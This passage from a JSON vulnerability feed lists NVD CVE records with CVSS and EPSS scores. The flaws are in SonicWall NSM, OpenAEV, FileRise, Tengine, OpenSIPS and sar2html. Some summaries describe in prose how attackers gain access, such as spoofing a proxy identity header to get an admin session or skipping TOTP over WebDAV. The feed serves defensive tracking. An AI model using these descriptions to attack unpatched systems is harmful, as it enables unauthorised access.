2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96540","cveId":"CVE-2026-96540","aliases":[],"kind":"vulnerability","title":"An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote...","summary":"An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote authenticated attacker to obtain sensitive information. This may allow the attacker to escalate privileges to an administrator or to intercept communications of other users of the NSM instance.","detail":"An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote authenticated attacker to obtain sensitive information. This may allow the attacker to escalate privileges to an administrator or to intercept communications of other users of the NSM instance.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:39.603Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SonicWall"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96540","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00311,"percentile":0.23731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96540&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96540","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96540","type":"primary","publishedAt":"2026-10-14T21:17:39.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96540&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96540, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71854","cveId":"CVE-2026-71854","aliases":[],"kind":"vulnerability","title":"OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests.","summary":"OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests. Prior to version 2.260622.0, on a default installation, the `/api/player/**` lessons endpoints can be called without authentication, and they trust a client-supplied `userId` query parameter without verifying that the caller is that user or a member of the exercise. An unauthenticated client that knows an exercise UUID can read lessons-learned questions and answers (including each answer's author identity) and create or overwrite answers attributed to an arbitrary user. Version 2.260622.0 contains a patch.","detail":"OpenAEV is an open source platform allowing organizations to plan, schedule and conduct cyber adversary simulation campaign and tests. Prior to version 2.260622.0, on a default installation, the `/api/player/**` lessons endpoints can be called without authentication, and they trust a client-supplied `userId` query parameter without verifying that the caller is that user or a member of the exercise. An unauthenticated client that knows an exercise UUID can read lessons-learned questions and answers (including each answer's author identity) and create or overwrite answers attributed to an arbitrary user. Version 2.260622.0 contains a patch.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:39.177Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71854","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00245,"percentile":0.15604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71854","type":"primary","publishedAt":"2026-10-14T21:17:39.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61844","cveId":"CVE-2026-61844","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise flattens logical folder paths into metadata filenames by replacing separators and spaces with hyphens, so distinct folders such as team/docs and team-docs can share one metadata file. Because uploader metadata is used to authorize read_own and ownership-restricted edits, a low-privileged user who controls one colliding folder, knows the target basename, and already has read_own access to the target folder can alter the metadata used by that folder, make the victim file appear attacker-owned, read it, and modify it when edit-own permission is also available. This issue is fixed in version 3.18.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise flattens logical folder paths into metadata filenames by replacing separators and spaces with hyphens, so distinct folders such as team/docs and team-docs can share one metadata file. Because uploader metadata is used to authorize read_own and ownership-restricted edits, a low-privileged user who controls one colliding folder, knows the target basename, and already has read_own access to the target folder can alter the metadata used by that folder, make the victim file appear attacker-owned, read it, and modify it when edit-own permission is also available. This issue is fixed in version 3.18.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:38.137Z","updatedAt":"2026-10-15T14:17:26.637Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61844","asOf":"2026-10-15T14:17:26.637Z"},"epss":{"probability":0.00324,"percentile":0.25239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61844","type":"primary","publishedAt":"2026-10-14T21:17:38.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61843","cveId":"CVE-2026-61843","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise upload-enabled shared-folder and upload-only links do not reject a destination filename that already exists. An unauthenticated visitor with a valid share token and any configured share password can upload a file with the same name as an existing file and silently replace its content while the original uploader metadata remains. The same replacement gap affects ordinary authenticated uploads through /api/upload/upload.php and authenticated upload-only users who lack edit authority over the existing file. This issue is fixed in version 3.18.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise upload-enabled shared-folder and upload-only links do not reject a destination filename that already exists. An unauthenticated visitor with a valid share token and any configured share password can upload a file with the same name as an existing file and silently replace its content while the original uploader metadata remains. The same replacement gap affects ordinary authenticated uploads through /api/upload/upload.php and authenticated upload-only users who lack edit authority over the existing file. This issue is fixed in version 3.18.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:37.947Z","updatedAt":"2026-10-15T16:18:18.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61843","asOf":"2026-10-15T16:18:18.850Z"},"epss":{"probability":0.00372,"percentile":0.30897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61843","type":"primary","publishedAt":"2026-10-14T21:17:37.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57492","cveId":"CVE-2026-57492","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise treats an empty or missing users.txt file as a fresh installation even after setup previously completed. If storage loss, truncation, or another failure empties the user store, an unauthenticated remote caller can detect that setup mode reopened and create the next initial administrator account through the setup flow. The application lacked a durable setup-complete marker independent of the mutable user store. This issue is fixed in version 3.16.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise treats an empty or missing users.txt file as a fresh installation even after setup previously completed. If storage loss, truncation, or another failure empties the user store, an unauthenticated remote caller can detect that setup mode reopened and create the next initial administrator account through the setup flow. The application lacked a durable setup-complete marker independent of the mutable user store. This issue is fixed in version 3.16.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:37.650Z","updatedAt":"2026-10-15T16:18:17.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57492","asOf":"2026-10-15T16:18:17.787Z"},"epss":{"probability":0.00349,"percentile":0.28203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57492&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57492","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57492","type":"primary","publishedAt":"2026-10-14T21:17:37.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57492&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57492, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57490","cveId":"CVE-2026-57490","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, when an administrator has enabled WebDAV, FileRise WebDAV Basic authentication validates only the account username and password through AuthModel::authenticate() and does not enforce the account's configured TOTP factor. An attacker who knows valid primary credentials for a TOTP-enabled account can authenticate to the enabled WebDAV service without supplying the second factor and exercise the account's WebDAV file permissions. The browser login path enforces TOTP, but the separate public/webdav.php authentication callback did not. This issue is fixed in version 3.16.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, when an administrator has enabled WebDAV, FileRise WebDAV Basic authentication validates only the account username and password through AuthModel::authenticate() and does not enforce the account's configured TOTP factor. An attacker who knows valid primary credentials for a TOTP-enabled account can authenticate to the enabled WebDAV service without supplying the second factor and exercise the account's WebDAV file permissions. The browser login path enforces TOTP, but the separate public/webdav.php authentication callback did not. This issue is fixed in version 3.16.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:37.357Z","updatedAt":"2026-10-15T16:18:17.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57490","asOf":"2026-10-15T16:18:17.657Z"},"epss":{"probability":0.00522,"percentile":0.44015,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57490","type":"primary","publishedAt":"2026-10-14T21:17:37.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57489","cveId":"CVE-2026-57489","aliases":[],"kind":"vulnerability","title":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.","summary":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise deployments with AUTH_BYPASS enabled trust the configured reverse-proxy identity header without verifying that the request originated from FR_TRUSTED_PROXIES. When the backend application port is reachable directly, an unauthenticated attacker can supply X-Remote-User and obtain a session for the asserted account, including an administrator account, without a password or MFA. The flaw is limited to deployments that enable proxy-header authentication and expose an untrusted path to the backend. This issue is fixed in version 3.16.0.","detail":"FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.16.0, FileRise deployments with AUTH_BYPASS enabled trust the configured reverse-proxy identity header without verifying that the request originated from FR_TRUSTED_PROXIES. When the backend application port is reachable directly, an unauthenticated attacker can supply X-Remote-User and obtain a session for the asserted account, including an administrator account, without a password or MFA. The flaw is limited to deployments that enable proxy-header authentication and expose an untrusted path to the backend. This issue is fixed in version 3.16.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:37.200Z","updatedAt":"2026-10-20T03:17:15.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57489","asOf":"2026-10-20T03:17:15.860Z"},"epss":{"probability":0.00647,"percentile":0.50702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57489","type":"primary","publishedAt":"2026-10-14T21:17:37.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57489, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110694","cveId":"CVE-2026-110694","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the...","summary":"A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the component tmfile Model Loader. Such manipulation of the argument offset_root leads to out-of-bounds read. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in OAID Tengine up to 1.12.0. This vulnerability affects the function get_tm_file_model of the file source/serializer/tmfile/tm2_serializer.c of the component tmfile Model Loader. Such manipulation of the argument offset_root leads to out-of-bounds read. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:36.617Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110694","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00254,"percentile":0.16861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110694","type":"primary","publishedAt":"2026-10-14T21:17:36.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110679","cveId":"CVE-2026-110679","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy.","summary":"A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy. This manipulation causes out-of-bounds read. The attack may be initiated remotely. Upgrading to version 3.6.9 and 4.0.2 is sufficient to resolve this issue. It is advisable to upgrade the affected component.","detail":"A vulnerability was determined in OpenSIPS up to 3.6.8/4.0.1. The impacted element is the function rtpproxy_offer/rtpproxy_answer of the component rtpproxy. This manipulation causes out-of-bounds read. The attack may be initiated remotely. Upgrading to version 3.6.9 and 4.0.2 is sufficient to resolve this issue. It is advisable to upgrade the affected component.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:36.253Z","updatedAt":"2026-10-15T16:17:45.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110679","asOf":"2026-10-15T16:17:45.843Z"},"epss":{"probability":0.00307,"percentile":0.2331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110679&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110679","type":"primary","publishedAt":"2026-10-14T21:17:36.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110679&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110679, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110670","cveId":"CVE-2026-110670","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing.","summary":"A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing. The manipulation of the argument s2host results in sql injection. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in cemtan sar2html 4.0.0. The affected element is the function updateDb of the file sar2html.py of the component Archive Processing. The manipulation of the argument s2host results in sql injection. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T21:17:36.077Z","updatedAt":"2026-10-15T16:17:45.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110670","asOf":"2026-10-15T16:17:45.710Z"},"epss":{"probability":0.00275,"percentile":0.19693,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110670&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110670","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110670","type":"primary","publishedAt":"2026-10-14T21:17:36.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 